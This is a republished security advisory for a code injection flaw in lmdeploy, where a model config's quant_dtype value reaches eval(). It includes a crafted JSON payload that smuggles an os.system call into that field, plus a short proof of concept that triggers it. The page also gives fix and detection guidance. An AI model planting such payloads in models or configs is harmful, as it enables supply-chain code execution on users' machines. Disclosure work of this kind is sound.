GHSA-3hmm-rh5q-gwwr: Code Injection

Published Sep 18, 2026
·
Updated

Summary

lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantizationconfig.quantdtype value. When a user loads the model with lmdeploy, the quantdtype is passed to eval(f'torch.{quantdtype}') without any validation.

Details

Vulnerable code (permalink):

python quantdtype = eval(f'torch.{quantdtype}') # line 620

The quantdtype value comes from the model's quantizationconfig in its HuggingFace config. When a model specifies quantmethod: awq, the AWQ branch processes the config but does NOT override quantdtype, allowing the malicious value to reach the eval() call.

Attack vector: An attacker publishes a HuggingFace model with: json { "quantizationconfig": { "quantmethod": "awq", "quantdtype": "float16, import('os').system('id')" } }

Note: The updatetorchdtype method at line 53 has a whitelist check, but that's for torchdtype, NOT quantdtype. The quantdtype at line 620 has no validation whatsoever.

PoC

python """ PoC: eval() RCE in lmdeploy via malicious quantdtype Prerequisites: pip install lmdeploy """ import sys from unittest.mock import MagicMock, patch

Mock torch to capture the eval sys.modules.setdefault('torch', MagicMock())

from lmdeploy.pytorch.config import ModelConfig

Simulate a malicious HuggingFace model config mockhfconfig = MagicMock() mockhfconfig.quantizationconfig = { 'quantmethod': 'awq', 'quantdtype': "float16, import('os').system('id')" } mockhfconfig.numattentionheads = 32 mockhfconfig.hiddensize = 4096 mockhfconfig.numhiddenlayers = 32 mockhfconfig.numkeyvalueheads = 32 mockhfconfig.vocabsize = 32000

This triggers eval(f'torch.{quantdtype}') with quantdtype = "float16, import('os').system('id')" config = ModelConfig.fromhfconfig(mockhfconfig, modelpath='test')

Output: uid=0(root) gid=0(root) groups=0(root)

Impact

An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.

1. Full remote code execution when loading a malicious model 2. No user interaction beyond running lmdeploy serve or similar with the model 3. Affects all deployment scenarios (local, cloud, production)

Affected Software

1 affected componentFixes available
pip/lmdeploy>=0.12.1<0.12.3
0.12.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/lmdeploy to a version that resolves this vulnerability.

    Fixed in 0.12.3

Event History

Sep 18, 2026
Advisory Published
via GitHub·05:04 PM
Data Sourced
via GitHub·05:04 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Users who load HuggingFace models with lmdeploy are exposed when the model's quantization configuration uses the AWQ quantization method. The vulnerable path processes quant_dtype from the model configuration.

2

What does an attacker need to exploit it?

An attacker needs to publish or otherwise provide a malicious HuggingFace model whose quantization_config sets quant_method to awq and supplies a crafted quant_dtype value. A user must then load that model with lmdeploy.

3

How can I identify a suspicious model configuration?

Inspect the model's HuggingFace configuration for quantization_config entries with quant_method set to awq and an unexpected quant_dtype value. Values containing Python expressions or constructs such as __import__ are particularly suspicious because quant_dtype reaches an eval call.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203